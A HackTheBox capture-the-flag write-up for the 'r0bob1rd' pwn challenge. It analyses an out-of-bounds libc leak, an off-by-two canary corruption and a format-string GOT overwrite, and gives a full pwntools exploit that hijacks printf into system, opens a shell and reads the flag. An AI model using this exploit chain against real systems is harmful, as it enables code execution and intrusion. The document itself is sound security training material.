pwnfreemedium

r0bob1rd

hackthebox

A "robotic bird game" binary that presents a table of 10 bird names, lets you select one by ID, enter a description, and displays it. The binary has three chained vulnerabilities: an out-of-bounds array read for libc leak, an off-by-two buffer overflow that corrupts the stack canary, and a format st

$ ls tags/ techniques/
format_string_writegot_leakgot_overwrite_printf_to_systemoob_array_indexstack_chk_fail_hijackoff_by_two

r0bob1rd — HackTheBox

Description

A "robotic bird game" binary that presents a table of 10 bird names, lets you select one by ID, enter a description, and displays it. The binary has three chained vulnerabilities: an out-of-bounds array read for libc leak, an off-by-two buffer overflow that corrupts the stack canary, and a format string bug for arbitrary GOT writes.

Remote: nc 154.57.164.77:32657

Files

  • r0bob1rd — ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped
  • glibc/libc.so.6 — GLIBC 2.31-0ubuntu9.9 (Ubuntu 20.04)
  • glibc/ld.so.2 — Dynamic linker

Analysis

Binary Properties

PropertyValue
Archx86-64
RELROPartial (GOT writable)
Stack CanaryEnabled
NXEnabled
PIEDisabled (base 0x400000)
StrippedNo
LibcGLIBC 2.31-0ubuntu9.9

Key Addresses

SymbolAddress
robobirdNames (array)0x6020a0
puts@GOT0x602020
__stack_chk_fail@GOT0x602028
printf@GOT0x602030
main0x400c0f
operation0x400aca
pop rdi; ret0x400cc3
ret0x40074e

Program Flow

  1. Prints a banner and a table of 10 bird names (IDs 0–9)
  2. Prompts "Select a R0bob1rd >" — reads an integer via scanf("%d")
  3. Valid ID (0–9): dereferences robobirdNames[id] pointer and prints the bird name with printf("%s", *ptr)
  4. Out-of-range ID: passes the ADDRESS &robobirdNames[id] directly to printf("%s", addr) — reads raw bytes at that computed address as a string
  5. Calls getchar() to consume the newline
  6. Prompts "Enter bird's little description" and reads input with fgets(buf, 0x6a, stdin) — 106 bytes max into a buffer at rbp-0x70
  7. Prints "Crafting..", sleeps 2 seconds, prints a bird animation, prints "[Description]"
  8. Calls printf(buf)FORMAT STRING VULNERABILITY with user-controlled input
  9. Checks stack canary — if corrupted, calls __stack_chk_fail
  10. leave; ret

Vulnerability 1: OOB Array Read (Libc Leak)

robobirdNames is an array of 10 char* pointers at 0x6020a0. When bird_id is outside 0–9, the code computes &robobirdNames[bird_id] and passes this address (not the dereferenced pointer) to printf("%s", ...).

With bird_id = -16:

address = 0x6020a0 + (-16) * 8 = 0x602020 = puts@GOT

printf reads the bytes at puts@GOT as a string, leaking the libc address of puts. From the leak:

libc_base = leaked_puts - 0x84420

Vulnerability 2: Off-by-Two Buffer Overflow (Canary Corruption)

Buffer:  rbp-0x70  (112 bytes from rbp)
Canary:  rbp-0x08  (8 bytes)
Gap:     0x70 - 0x08 = 0x68 = 104 bytes
fgets:   reads up to 0x6a = 106 bytes (105 chars + null)

Sending 104 bytes + newline: fgets stores 104 bytes + '\n' at buf[104] + '\0' at buf[105]. buf[104] is the first byte of the canary — overwritten with 0x0a (newline), corrupting it. This guarantees __stack_chk_fail will be called.

Vulnerability 3: Format String Bug (Arbitrary Write)

printf(buf) at 0x400bf3 uses user input directly as the format string. The buffer starts at printf argument offset 8 (verified by sending %p patterns). Full %n/%hn/%hhn write capability to any address. Since Partial RELRO leaves the GOT writable, we can overwrite GOT entries.

Solution

Strategy: 2-Pass GOT Overwrite

The exploit chains all three vulnerabilities in two passes through the operation() function:

Pass 1: Leak libc + overwrite printf@GOTsystem() and __stack_chk_fail@GOToperation() Pass 2: Send "sh" as description → printf("sh") becomes system("sh")SHELL

Pass 1: Leak + GOT Overwrite

  1. Send bird_id = -16 to leak puts@GOT → compute libc_base → compute system() address
  2. Craft a 104-byte format string payload that performs 4 × %hn writes:
    • Overwrite printf@GOT (0x602030) with system() address (3 × %hn for 6 bytes: low, mid, high)
    • Overwrite __stack_chk_fail@GOT (0x602028) with operation() address (1 × %hn, low 2 bytes only — both are in 0x400000 range)
  3. The 104-byte payload + newline corrupts the canary → triggers __stack_chk_fail
  4. __stack_chk_fail@GOT now points to operation()program loops back (skipping printRobobirds which would call printf/system with garbage)

Pass 2: Trigger Shell

  1. Now ALL printf() calls are actually system() calls
  2. The program calls system("Select a R0bob1rd > "), system("\nYou've chosen: %s"), etc. — these fail with shell syntax errors but don't consume stdin
  3. Send "sh" as the bird description
  4. When the program reaches printf(buf), it actually calls system("sh")SHELL!

Format String Payload Layout

[format specifiers (72 bytes)] [addresses (4 × 8 = 32 bytes)]
|<------------ 104 bytes total ------------>|

The 4 %hn writes are sorted by value (ascending) to minimize padding:

%{val1}c%{param1}$hn%{val2-val1}c%{param2}$hn%{val3-val2}c%{param3}$hn%{val4-val3}c%{param4}$hn

Each address is placed at the end of the 104-byte buffer, and the %hn parameter index points to the corresponding 8-byte slot at offset 8 + (72/8 + i).

Key Insights

  • printf@GOT → system is elegant because printf(user_input) becomes system(user_input)
  • __stack_chk_fail → operation() instead of main() avoids printRobobirds() which would call printf (now system) 10 times with table formatting characters
  • The ~60KB of format string output (from %Nc padding) must be drained to prevent the program from blocking on write()
  • system() with /bin/sh -c doesn't read from stdin for syntax errors, so the intermediate system() calls with garbage strings just return without consuming our input

Exploit

#!/usr/bin/env python3 """ r0bob1rd - HackTheBox PWN Challenge Exploit ============================================ Pass 1: Leak libc via OOB + overwrite printf@GOT→system, __stack_chk_fail@GOT→operation Pass 2: system("sh") via hijacked printf """ from pwn import * import sys, time HOST = "154.57.164.77" PORT = 32657 LOCAL = "--local" in sys.argv context.arch = "amd64" context.log_level = "debug" if "--debug" in sys.argv else "info" elf = ELF("./r0bob1rd") libc = ELF("./glibc/libc.so.6") PRINTF_GOT = elf.got["printf"] STACK_CHK_FAIL_GOT = elf.got["__stack_chk_fail"] OPERATION_ADDR = elf.symbols["operation"] FMT_OFFSET = 8 def build_writes(writes, total_size=104): n = len(writes) addr_bytes = n * 8 fmt_space = total_size - addr_bytes indexed = sorted(enumerate(writes), key=lambda x: x[1][1]) param_for_sorted = [] for sort_pos, (orig_idx, (addr, val)) in enumerate(indexed): byte_offset = fmt_space + sort_pos * 8 param = FMT_OFFSET + byte_offset // 8 param_for_sorted.append((addr, val, param)) fmt = b"" printed = 0 for addr, val, param in param_for_sorted: needed = (val - printed) % 0x10000 if needed == 0: needed = 0x10000 fmt += f"%{needed}c%{param}$hn".encode() printed = (printed + needed) % 0x10000 if len(fmt) > fmt_space: log.error(f"Format too long: {len(fmt)} > {fmt_space}") return None log.info(f"Format: {len(fmt)}/{fmt_space} bytes") payload = fmt.ljust(fmt_space, b".") for addr, val, param in param_for_sorted: payload += p64(addr) assert len(payload) == total_size return payload def drain(p, timeout_sec=3): """Drain all available data with given timeout.""" total = 0 while True: try: chunk = p.recv(8192, timeout=timeout_sec) if not chunk: break total += len(chunk) except: break return total def exploit(): if LOCAL: p = process("./r0bob1rd") else: p = remote(HOST, PORT, timeout=30) # ================================================================ # PASS 1: Leak libc + GOT overwrite # ================================================================ log.info("=== PASS 1: Leak + GOT overwrite ===") p.recvuntil(b"R0bob1rd > ") p.sendline(b"-16") p.recvuntil(b"You've chosen: ") data = p.recvuntil(b"Enter bird") leak_bytes = data[: -len(b"\n\nEnter bird")] leaked_puts = u64(leak_bytes.ljust(8, b"\x00")) libc.address = leaked_puts - libc.symbols["puts"] log.success(f"libc @ {hex(libc.address)}") if libc.address & 0xFFF: log.error("Misaligned!") p.close() return system = libc.symbols["system"] log.info(f"system @ {hex(system)}") writes = [ (PRINTF_GOT, system & 0xFFFF), (PRINTF_GOT + 2, (system >> 16) & 0xFFFF), (PRINTF_GOT + 4, (system >> 32) & 0xFFFF), (STACK_CHK_FAIL_GOT, OPERATION_ADDR & 0xFFFF), ] payload = build_writes(writes, total_size=104) if payload is None: p.close() return p.recvuntil(b">> ") p.sendline(payload) log.info("Payload sent. Draining ~60KB of output...") n = drain(p, timeout_sec=3) log.info(f"Drained {n} bytes") # ================================================================ # PASS 2: Send inputs for shell # ================================================================ log.info("=== PASS 2: Trigger system('sh') ===") p.sendline(b"0") log.info("Sent bird_id '0'") try: p.recvuntil(b"description", timeout=5) log.info("Got description prompt") except: log.warning("Didn't see description prompt") time.sleep(0.3) p.sendline(b"sh") log.info("Sent 'sh'") # Drain usleep(2s) + start_screen output n2 = drain(p, timeout_sec=4) log.info(f"Drained {n2} bytes") # Shell should be active now! log.info("Shell active! Getting flag...") p.sendline(b"cat flag*") time.sleep(1) p.sendline(b"cat /flag*") time.sleep(1) try: output = p.recv(timeout=5) result = output.decode(errors="replace") log.success(f"Output:\n{result}") import re flags = re.findall(r"HTB\{[^}]+\}", result) if flags: log.success(f"FLAG: {flags[0]}") except: log.warning("Error receiving output") p.interactive() if __name__ == "__main__": exploit()

Key Indicators

Use this combination of techniques when you see:

  1. printf(user_input) — classic format string vulnerability, enables arbitrary read/write via %n/%hn
  2. Partial RELRO + No PIE — GOT is writable at fixed addresses, perfect for printf@GOT → system overwrite
  3. Array access without bounds checking — negative indices can reach GOT entries for libc leaks
  4. fgets size slightly larger than buffer-to-canary distance — off-by-one/two corrupts canary, forces __stack_chk_fail
  5. __stack_chk_fail in GOT — can be redirected to loop the program instead of crashing, turning canary corruption into an advantage
  6. Bundled libc — known offsets for puts, system, etc.

Lessons Learned

  1. Canary corruption as a feature, not a bug — Instead of trying to preserve the canary, deliberately corrupt it and hijack __stack_chk_fail@GOT to redirect execution flow. The canary becomes a controlled jump.

  2. printf@GOT → system is the classic GOT overwrite — When you control the first argument to printf (format string), overwriting it with system gives you system(user_input) for free.

  3. operation() vs main() for loop target — Redirecting __stack_chk_fail to operation() instead of main() avoids re-executing printRobobirds(), which would call the now-hijacked printf (= system) with garbage strings 10 times.

  4. Drain format string output — Large %Nc padding in format string writes generates ~60KB of output. If not drained, the program blocks on write() and never reaches the next input prompt.

  5. system() with invalid commands is harmless — When printf@GOT is overwritten with system, intermediate calls like system("Select a R0bob1rd > ") fail with shell syntax errors but don't consume stdin, so subsequent input still reaches the right place.

  6. OOB array indexing for GOT leaks — When an array of pointers is near the GOT and the binary passes &array[id] (not *array[id]) to printf("%s") for OOB indices, you can read GOT entries as raw bytes. The offset calculation: id = (GOT_addr - array_addr) / sizeof(pointer).

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups